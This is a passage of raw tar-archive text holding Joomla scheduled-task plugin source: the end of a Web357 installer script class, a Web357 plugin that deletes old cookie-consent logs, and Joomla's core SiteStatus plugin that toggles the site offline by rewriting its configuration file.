$plugin_folder = 'task'; public $module_position = 'web357'; public $client_id = 0; public $install_type = 'install'; public $show_message = true; public $db = null; public $softbreak = null; public $mini_version = null; public function __construct(&$params) { $this->extname = $this->extname ?: $this->alias; $this->db = Factory::getDbo(); // Get Joomla's version $jversion = new Version(); $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $this->mini_version = $short_version[0].'.'.$short_version[1]; // 3.8 } public function preflight($route, $adapter) { if (!in_array($route, array('install', 'update'))) { return true; } Factory::getLanguage()->load('plg_system_web357installer', JPATH_PLUGINS . '/system/web357installer'); if ($this->show_message && $this->isInstalled()) { $this->install_type = 'update'; } if ($this->onBeforeInstall($route) === false) { return false; } return true; } public function postflight($route, $adapter) { $this->removeGlobalLanguageFiles(); if (version_compare($this->mini_version, "4.0", "<")) { $this->removeUnusedLanguageFiles(); } Factory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, $this->getMainFolder()); if (!in_array($route, array('install', 'update'))) { return true; } $this->updateHttptoHttpsInUpdateSites(); if ($this->onAfterInstall($route) === false) { return false; } if ($route == 'install') { $this->publishExtension(); } if ($this->show_message) { $this->addInstalledMessage(); } Factory::getCache()->clean('com_plugins'); Factory::getCache()->clean('_system'); return true; } public function isInstalled() { if ( ! is_file($this->getInstalledXMLFile())) { return false; } $query = $this->db->getQuery(true) ->select($this->db->quoteName('extension_id')) ->from('#__extensions') ->where($this->db->quoteName('type') . ' = ' . $this->db->quote($this->extension_type)) ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName())); $this->db->setQuery($query, 0, 1); $result = $this->db->loadResult(); return empty($result) ? false : true; } public function getMainFolder() { switch ($this->extension_type) { case 'plugin' : return JPATH_PLUGINS . '/' . $this->plugin_folder . '/' . $this->extname; case 'component' : return JPATH_ADMINISTRATOR . '/components/com_' . $this->extname; case 'module' : return JPATH_SITE . '/modules/mod_' . $this->extname; case 'library' : return JPATH_SITE . '/libraries/' . $this->extname; } } public function getInstalledXMLFile() { return $this->getXMLFile($this->getMainFolder()); } public function getCurrentXMLFile() { return $this->getXMLFile(__DIR__); } public function getXMLFile($folder) { switch ($this->extension_type) { case 'module' : return $folder . '/mod_' . $this->extname . '.xml'; default : return $folder . '/' . $this->extname . '.xml'; } } public function uninstallExtension($extname, $type = 'plugin', $folder = 'system', $show_message = true) { if (empty($extname)) { return; } $folders = array(); switch ($type) { case 'plugin'; $folders[] = JPATH_PLUGINS . '/' . $folder . '/' . $extname; break; case 'component': $folders[] = JPATH_ADMINISTRATOR . '/components/com_' . $extname; $folders[] = JPATH_SITE . '/components/com_' . $extname; break; case 'module': $folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $extname; $folders[] = JPATH_SITE . '/modules/mod_' . $extname; break; } if ( ! $this->foldersExist($folders)) { return; } $query = $this->db->getQuery(true) ->select($this->db->quoteName('extension_id')) ->from('#__extensions') ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName($type, $extname))) ->where($this->db->quoteName('type') . ' = ' . $this->db->quote($type)); if ($type == 'plugin') { $query->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($folder)); } $this->db->setQuery($query); $ids = $this->db->loadColumn(); if (empty($ids)) { foreach ($folders as $folder) { Folder::delete($folder); } return; } $ignore_ids = Factory::getApplication()->getUserState('rl_ignore_uninstall_ids', array()); if (Factory::getApplication()->input->get('option') == 'com_installer' && Factory::getApplication()->input->get('task') == 'remove') { // Don't attempt to uninstall extensions that are already selected to get uninstalled by them selves $ignore_ids = array_merge($ignore_ids, Factory::getApplication()->input->get('cid', array(), 'array')); Factory::getApplication()->input->set('cid', array_merge($ignore_ids, $ids)); } $ids = array_diff($ids, $ignore_ids); if (empty($ids)) { return; } $ignore_ids = array_merge($ignore_ids, $ids); Factory::getApplication()->setUserState('rl_ignore_uninstall_ids', $ignore_ids); foreach ($ids as $id) { $tmpInstaller = new Installer(); $tmpInstaller->uninstall($type, $id); } if ($show_message) { Factory::getApplication()->enqueueMessage( Text::sprintf( 'COM_INSTALLER_UNINSTALL_SUCCESS', Text::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type)) ) ); } } public function foldersExist($folders = array()) { foreach ($folders as $folder) { if (is_dir($folder)) { return true; } } return false; } public function uninstallPlugin($extname, $folder = 'system', $show_message = true) { $this->uninstallExtension($extname, 'plugin', $folder, $show_message); } public function uninstallComponent($extname, $show_message = true) { $this->uninstallExtension($extname, 'component', null, $show_message); } public function uninstallModule($extname, $show_message = true) { $this->uninstallExtension($extname, 'module', null, $show_message); } public function publishExtension() { switch ($this->extension_type) { case 'plugin' : $this->publishPlugin(); case 'module' : $this->publishModule(); } } public function publishPlugin() { $query = $this->db->getQuery(true) ->update('#__extensions') ->set($this->db->quoteName('enabled') . ' = 1') ->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin')) ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->extname)) ->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($this->plugin_folder)); $this->db->setQuery($query); $this->db->execute(); } public function publishModule() { // Get module id $query = $this->db->getQuery(true) ->select($this->db->quoteName('id')) ->from('#__modules') ->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname)) ->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id); $this->db->setQuery($query, 0, 1); $id = $this->db->loadResult(); if ( ! $id) { return; } // check if module is already in the modules_menu table (meaning is is already saved) $query->clear() ->select($this->db->quoteName('moduleid')) ->from('#__modules_menu') ->where($this->db->quoteName('moduleid') . ' = ' . (int) $id); $this->db->setQuery($query, 0, 1); $exists = $this->db->loadResult(); if ($exists) { return; } // Get highest ordering number in position $query->clear() ->select($this->db->quoteName('ordering')) ->from('#__modules') ->where($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position)) ->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id) ->order('ordering DESC'); $this->db->setQuery($query, 0, 1); $ordering = $this->db->loadResult(); $ordering++; // publish module and set ordering number $query->clear() ->update('#__modules') ->set($this->db->quoteName('published') . ' = 1') ->set($this->db->quoteName('ordering') . ' = ' . (int) $ordering) ->set($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position)) ->where($this->db->quoteName('id') . ' = ' . (int) $id); $this->db->setQuery($query); $this->db->execute(); // add module to the modules_menu table $query->clear() ->insert('#__modules_menu') ->columns(array($this->db->quoteName('moduleid'), $this->db->quoteName('menuid'))) ->values((int) $id . ', 0'); $this->db->setQuery($query); $this->db->execute(); } public function addInstalledMessage() { Factory::getApplication()->enqueueMessage( Text::sprintf( Text::_($this->install_type == 'update' ? 'W357_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' : 'W357_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY'), '<strong>' . Text::_($this->name) . '</strong>', '<strong>' . $this->getVersion() . '</strong>', $this->getFullType() ) ); } public function getPrefix() { switch ($this->extension_type) { case 'plugin'; return Text::_('plg_' . strtolower($this->plugin_folder)); case 'component': return Text::_('com'); case 'module': return Text::_('mod'); case 'library': return Text::_('lib'); default: return $this->extension_type; } } public function getElementName($type = null, $extname = null) { $type = is_null($type) ? $this->extension_type : $type; $extname = is_null($extname) ? $this->extname : $extname; switch ($type) { case 'component' : return 'com_' . $extname; case 'module' : return 'mod_' . $extname; case 'plugin' : default: return $extname; } } public function getFullType() { return Text::_('W357_' . strtoupper($this->getPrefix())); } public function getVersion($file = '') { $file = $file ?: $this->getCurrentXMLFile(); if ( ! is_file($file)) { return ''; } $xml = Installer::parseXMLInstallFile($file); if ( ! $xml || ! isset($xml['version'])) { return ''; } return $xml['version']; } public function isNewer() { if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile())) { return true; } $package_version = $this->getVersion(); return version_compare($installed_version, $package_version, '<='); } public function canInstall() { // The extension is not installed yet if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile())) { return true; } // The free version is installed. So any version is ok to install if (strpos($installed_version, 'PRO') === false) { return true; } // Current package is a pro version, so all good if (strpos($this->getVersion(), 'PRO') !== false) { return true; } Factory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, __DIR__); Factory::getApplication()->enqueueMessage(Text::_('W357_ERROR_PRO_TO_FREE'), 'error'); Factory::getApplication()->enqueueMessage( html_entity_decode( Text::sprintf( 'W357_ERROR_UNINSTALL_FIRST', '<a href="//www.web357.com/product/' . $this->url_alias . '" target="_blank">', '</a>', Text::_($this->name) ) ), 'error' ); return false; } public function onBeforeInstall($route) { if ( ! $this->canInstall()) { return false; } return true; } public function onAfterInstall($route) { } public function delete($files = array()) { foreach ($files as $file) { if (is_dir($file) && is_dir($file)) { Folder::delete($file); } if (is_file($file) && is_file($file)) { File::delete($file); } } } public function fixAssetsRules($rules = '{"core.admin":[],"core.manage":[]}') { // replace default rules value {} with the correct initial value $query = $this->db->getQuery(true) ->update($this->db->quoteName('#__assets')) ->set($this->db->quoteName('rules') . ' = ' . $this->db->quote($rules)) ->where($this->db->quoteName('title') . ' = ' . $this->db->quote('com_' . $this->extname)) ->where($this->db->quoteName('rules') . ' = ' . $this->db->quote('{}')); $this->db->setQuery($query); $this->db->execute(); } private function updateHttptoHttpsInUpdateSites() { $query = $this->db->getQuery(true) ->update('#__update_sites') ->set($this->db->quoteName('location') . ' = REPLACE(' . $this->db->quoteName('location') . ', ' . $this->db->quote('http://') . ', ' . $this->db->quote('https://') . ')') ->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('http://updates.web357%')); $this->db->setQuery($query); $this->db->execute(); } private function removeGlobalLanguageFiles() { if ($this->extension_type == 'library' || $this->alias === 'web357framework') { return; } $language_files = Folder::files(JPATH_ADMINISTRATOR . '/language', '\.' . $this->getPrefix() . '_' . $this->extname . '\.', true, true); // Remove override files foreach ($language_files as $i => $language_file) { if (strpos($language_file, '/overrides/') === false) { continue; } unset($language_files[$i]); } if (empty($language_files)) { return; } File::delete($language_files); } private function removeUnusedLanguageFiles() { if ($this->extension_type == 'library') { return; } $main_language_dir_path = Folder::folders(__DIR__ . '/language'); $installed_languages = array_merge( Folder::folders(JPATH_SITE . '/language'), Folder::folders(JPATH_ADMINISTRATOR . '/language') ); $languages = array(); if (is_array($main_language_dir_path) && is_array($installed_languages)) { $languages = array_diff( $main_language_dir_path, $installed_languages ); } $delete_languages = array(); if (!empty($languages)) { foreach ($languages as $language) { $delete_languages[] = $this->getMainFolder() . '/language/' . $language; } } if (empty($delete_languages)) { return; } // Remove folders $this->delete($delete_languages); } }deletecpnblogs/src/Extension/Deletecpnblogs.php000060400000010273151664163040015751 0ustar00<?php /* ====================================================== # Cookies Policy Notification Bar for Joomla! - v4.4.4 (pro version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Demo: https://demo-joomla.web357.com/cookies-policy-notification-bar # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:29:25 PM ========================================================= */ namespace Joomla\Plugin\Task\Deletecpnblogs\Extension; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Component\Scheduler\Administrator\Event\ExecuteTaskEvent; use Joomla\Component\Scheduler\Administrator\Task\Status; use Joomla\Component\Scheduler\Administrator\Traits\TaskPluginTrait; use Joomla\Database\DatabaseAwareTrait; use Joomla\Event\SubscriberInterface; use Joomla\Event\DispatcherInterface; \defined('_JEXEC') or die; /** * A task plugin. For Delete Cookies Policy Notification Bar Logs after x days * {@see ExecuteTaskEvent}. * * @since 5.1.0 */ final class Deletecpnblogs extends CMSPlugin implements SubscriberInterface { use TaskPluginTrait; use DatabaseAwareTrait; /** * @var string[] * * @since 5.1.0 */ protected const TASKS_MAP = [ 'Deletecpnblogs.deletecpnblogs' => [ 'langConstPrefix' => 'PLG_TASK_DELETECPNBLOGS_DELETECPNBLOGS', 'method' => 'deleteCpnbLogs', 'form' => 'deletecpnblogs', ], ]; /** * @var boolean * @since 5.0.0 */ protected $autoloadLanguage = true; /** * Constructor. * * @param DispatcherInterface $dispatcher The dispatcher * @param array $config An optional associative array of configuration settings * @param string $rootDirectory The root directory to look for images * * @since 5.1.0 */ public function __construct(DispatcherInterface $dispatcher, array $config) { parent::__construct($dispatcher, $config); } /** * @inheritDoc * * @return string[] * * @since 5.1.0 */ public static function getSubscribedEvents(): array { return [ 'onTaskOptionsList' => 'advertiseRoutines', 'onExecuteTask' => 'standardRoutineHandler', 'onContentPrepareForm' => 'enhanceTaskItemForm', ]; } /** * @param ExecuteTaskEvent $event The `onExecuteTask` event. * * @return integer The routine exit code. * * @since 5.1.0 * @throws \Exception */ private function deleteCpnbLogs(ExecuteTaskEvent $event): int { $daysToDeleteAfter = (int) $event->getArgument('params')->cpnbLogDeletePeriod ?? 0; $this->logTask(sprintf('Delete Logs after %d days', $daysToDeleteAfter)); $now = Factory::getDate()->toSql(); $db = $this->getDatabase(); $query = $db->getQuery(true); if ($daysToDeleteAfter > 0) { $days = -1 * $daysToDeleteAfter; $query->clear() ->delete($db->quoteName('#__plg_system_cookiespolicynotificationbar_logs')) ->where($db->quoteName('datetime') . ' < ' . $query->dateAdd($db->quote($now), $days, 'DAY')); $db->setQuery($query); try { $db->execute(); $deletedRows = $db->getAffectedRows(); // Get the count of deleted rows $this->logTask(sprintf('Deleted %d logs', $deletedRows)); // Log the count of deleted rows } catch (\RuntimeException $e) { // Log the error possibly and handle exceptions $this->logTask('Error deleting logs: ' . $e->getMessage()); return Status::KNOCKOUT; } } else { $this->logTask('No logs deleted as the deletion period is set to 0 days.'); } $this->logTask('Delete Logs end'); return Status::OK; } } sitestatus/sitestatus.xml000064400000001540151664163040011714 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="task" method="upgrade"> <name>plg_task_site_status</name> <author>Joomla! Project</author> <creationDate>2021-08</creationDate> <copyright>(C) 2021 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.1</version> <description>PLG_TASK_SITE_STATUS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Task\SiteStatus</namespace> <files> <folder plugin="sitestatus">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_task_sitestatus.ini</language> <language tag="en-GB">language/en-GB/plg_task_sitestatus.sys.ini</language> </languages> </extension> sitestatus/src/Extension/SiteStatus.php000064400000013156151664163040014354 0ustar00<?php /** * @package Joomla.Plugins * @subpackage Task.SiteStatus * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Task\SiteStatus\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Component\Scheduler\Administrator\Event\ExecuteTaskEvent; use Joomla\Component\Scheduler\Administrator\Task\Status; use Joomla\Component\Scheduler\Administrator\Traits\TaskPluginTrait; use Joomla\Event\DispatcherInterface; use Joomla\Event\SubscriberInterface; use Joomla\Filesystem\File; use Joomla\Filesystem\Path; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Task plugin with routines to change the offline status of the site. These routines can be used to control planned * maintenance periods and related operations. * * @since 4.1.0 */ final class SiteStatus extends CMSPlugin implements SubscriberInterface { use TaskPluginTrait; /** * @var string[] * @since 4.1.0 */ protected const TASKS_MAP = [ 'plg_task_toggle_offline' => [ 'langConstPrefix' => 'PLG_TASK_SITE_STATUS', 'toggle' => true, ], 'plg_task_toggle_offline_set_online' => [ 'langConstPrefix' => 'PLG_TASK_SITE_STATUS_SET_ONLINE', 'toggle' => false, 'offline' => false, ], 'plg_task_toggle_offline_set_offline' => [ 'langConstPrefix' => 'PLG_TASK_SITE_STATUS_SET_OFFLINE', 'toggle' => false, 'offline' => true, ], ]; /** * Autoload the language file. * * @var boolean * @since 4.1.0 */ protected $autoloadLanguage = true; /** * @inheritDoc * * @return string[] * * @since 4.1.0 */ public static function getSubscribedEvents(): array { return [ 'onTaskOptionsList' => 'advertiseRoutines', 'onExecuteTask' => 'alterSiteStatus', ]; } /** * The old config * * @var array * @since 4.2.0 */ private $oldConfig; /** * The config file * * @var string * @since 4.2.0 */ private $configFile; /** * Constructor. * * @param DispatcherInterface $dispatcher The dispatcher * @param array $config An optional associative array of configuration settings * @param array $oldConfig The old config * @param string $configFile The config * * @since 4.2.0 */ public function __construct(DispatcherInterface $dispatcher, array $config, array $oldConfig, string $configFile) { parent::__construct($dispatcher, $config); $this->oldConfig = $oldConfig; $this->configFile = $configFile; } /** * @param ExecuteTaskEvent $event The onExecuteTask event * * @return void * * @since 4.1.0 * @throws \Exception */ public function alterSiteStatus(ExecuteTaskEvent $event): void { if (!array_key_exists($event->getRoutineId(), self::TASKS_MAP)) { return; } $this->startRoutine($event); $config = $this->oldConfig; $toggle = self::TASKS_MAP[$event->getRoutineId()]['toggle']; $oldStatus = $config['offline'] ? 'offline' : 'online'; if ($toggle) { $config['offline'] = !$config['offline']; } else { $config['offline'] = self::TASKS_MAP[$event->getRoutineId()]['offline']; } $newStatus = $config['offline'] ? 'offline' : 'online'; $exit = $this->writeConfigFile(new Registry($config)); $this->logTask(sprintf($this->getApplication()->getLanguage()->_('PLG_TASK_SITE_STATUS_TASK_LOG_SITE_STATUS'), $oldStatus, $newStatus)); $this->endRoutine($event, $exit); } /** * Method to write the configuration to a file. * * @param Registry $config A Registry object containing all global config data. * * @return integer The task exit code * * @since 4.1.0 * @throws \Exception */ private function writeConfigFile(Registry $config): int { // Set the configuration file path. $file = $this->configFile; // Attempt to make the file writeable. if (file_exists($file) && Path::isOwner($file) && !Path::setPermissions($file)) { $this->logTask($this->getApplication()->getLanguage()->_('PLG_TASK_SITE_STATUS_ERROR_CONFIGURATION_PHP_NOTWRITABLE'), 'notice'); } try { // Attempt to write the configuration file as a PHP class named JConfig. $configuration = $config->toString('PHP', ['class' => 'JConfig', 'closingtag' => false]); File::write($file, $configuration); } catch (\Exception $e) { $this->logTask($this->getApplication()->getLanguage()->_('PLG_TASK_SITE_STATUS_ERROR_WRITE_FAILED'), 'error'); return Status::KNOCKOUT; } // Invalidates the cached configuration file if (function_exists('opcache_invalidate')) { opcache_invalidate($file); } // Attempt to make the file un-writeable. if (Path::isOwner($file) && !Path::setPermissions($file, '0444')) { $this->logTask($this->getApplication()->getLanguage()->_('PLG_TASK_SITE_STATUS_ERROR_CONFIGURATION_PHP_NOTUNWRITABLE'), 'notice'); } return Status::OK; } } sitestatus/services/provider.php000064400000002634151664163040013155 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Task.SiteStatus * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Task\SiteStatus\Extension\SiteStatus; use Joomla\Utilities\ArrayHelper; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.2.0 */ public function register(Container $container) { $container->set( PluginInterface::class, function (Container $container) { $plugin = new SiteStatus( $container->get(DispatcherInterface::class), (array) PluginHelper::getPlugin('task', 'sitestatus'), ArrayHelper::fromObject(new JConfig()), JPATH_CONFIGURATION . '/configuration.php' ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } };
/home/opticamezl/www/newok/07d6c/../1a0f4/../c9989/../assets/.././media/../templates/../task.tar